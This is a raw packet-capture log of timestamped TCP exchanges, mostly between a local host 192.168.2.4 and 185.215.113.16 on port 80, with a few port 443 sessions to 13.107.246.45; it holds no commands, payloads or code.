Nov 21, 2024 07:10:11.274801016 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.278409958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.278462887 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.278523922 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.278572083 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.282258987 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.282311916 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.282375097 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.282423019 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.286088943 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.286143064 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.286262035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.286312103 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.289933920 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.289987087 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.290076017 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.290121078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.293798923 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.293853045 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.293942928 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.293992043 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.297694921 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.297751904 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.297853947 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.297900915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.301513910 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.301568031 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.301630020 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.301670074 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.305356026 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.305476904 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.305535078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.305557013 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.309233904 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.309292078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.309386969 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.309437037 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.313118935 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.313174009 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.313255072 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.313304901 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.316900969 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.316962957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.317017078 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.317065954 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.320749044 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.320805073 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.320873022 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.320919991 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.324598074 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.324651957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.324728012 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.324778080 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.328483105 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.328551054 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.328553915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.328598022 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.332303047 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.332366943 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.332446098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.332499027 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.336168051 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.336220026 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.336308002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.336358070 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.340024948 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.340078115 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.340291023 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.340341091 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.343857050 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.343907118 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.343961000 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.344048023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.347738981 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.347785950 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.347827911 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.347872019 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.351531029 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.351583958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.351644039 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.351697922 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.441648006 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.441720009 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.441764116 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.441807985 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.443300962 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.443368912 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.443437099 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.443483114 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.446659088 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.446705103 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.446800947 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.446851015 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.449987888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.450097084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.450109005 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.450151920 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.453324080 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.453447104 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.453490019 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.453512907 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.457063913 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.457118988 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.457175970 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.457225084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.459742069 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.459794998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.459872961 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.459928989 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.462805033 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.462856054 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.462928057 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.463022947 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.465826988 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.465877056 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.465939999 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.465986013 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.468837023 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.468883991 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.468983889 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.469033957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.471787930 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.471837997 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.471901894 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.471946001 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.474658966 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.474706888 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.474776983 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.474824905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.477524042 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.477581024 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.477617979 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.477665901 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.480267048 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.480319977 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.480367899 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.480544090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.483031988 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.483093023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.483145952 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.483239889 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.485790968 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.485852957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.486005068 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.486052990 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.488600969 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.488651991 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.488722086 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.488768101 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.491353989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.491408110 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.491472006 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.491517067 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.494112015 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.494201899 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.494266987 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.494318008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.496889114 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.496937990 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.497010946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.497056007 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.499627113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.499681950 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.499758005 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.499804020 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.502427101 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.502475023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.502523899 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.502574921 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.505198002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.505292892 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.505352020 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.505403996 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.507966995 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.508022070 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.508084059 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.508131981 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.510727882 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.510776043 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.510838032 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.510884047 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.513519049 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.513569117 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.513627052 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.513678074 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.516273022 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.516324997 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.516406059 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.516458988 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.519037008 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.519083023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.519161940 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.519212008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.521816969 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.521905899 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.521927118 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.521974087 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.524589062 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.524650097 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.524713039 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.524759054 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.527374983 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.527425051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.527487040 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.527576923 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.530138969 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.530189037 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.530252934 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.530298948 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.532908916 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.532968998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.533031940 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.533082008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.535674095 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.535727024 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.535849094 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.535897017 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.538481951 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.538535118 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.538610935 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.538707018 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.541204929 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.541263103 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.541404009 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.541451931 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.543962002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.544013023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.544075966 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.544121981 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.546766043 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.546816111 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.546895981 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.546943903 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.549529076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.549578905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.549642086 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.549731970 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.552284002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.552331924 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.552426100 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.552474022 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.555039883 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.555092096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.555155039 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.555202007 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.557852983 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.557903051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.557940960 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.557986021 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.560606956 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.560666084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.560728073 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.560815096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.563352108 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.563399076 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.563461065 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.563505888 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.566174984 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.566222906 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.566298008 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.566348076 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.568922997 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.568973064 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.569051981 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.569098949 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.571661949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.571713924 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.571782112 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.571830034 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.574449062 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.574501038 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.574531078 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.574569941 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.577235937 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.577290058 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.577358961 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.577421904 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.579976082 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.580027103 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.580105066 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.580152035 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.600703001 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.601278067 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.601346970 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.601711035 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.601723909 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.612399101 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.612811089 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.612835884 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.613326073 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.613329887 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.624039888 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.624321938 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.624381065 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.624783039 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.624799967 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.630742073 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.630960941 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.630976915 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.631409883 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:11.631417990 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:11.633519888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.633580923 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.633635998 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.633686066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.634684086 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.634735107 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.634777069 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.634834051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.636801958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.636852980 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.636914015 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.636964083 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.638981104 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.639034986 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.639096022 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.639146090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.641164064 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.641222000 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.641283989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.641330004 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.643307924 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.643362999 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.643424988 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.643472910 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.645443916 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.645494938 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.645558119 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.645603895 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.647469997 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.647520065 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.647581100 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.647627115 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.649547100 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.649597883 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.649599075 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.649645090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.651552916 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.651602983 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.651679993 CET	80	49765	185.215.113.16	192.168.2.4
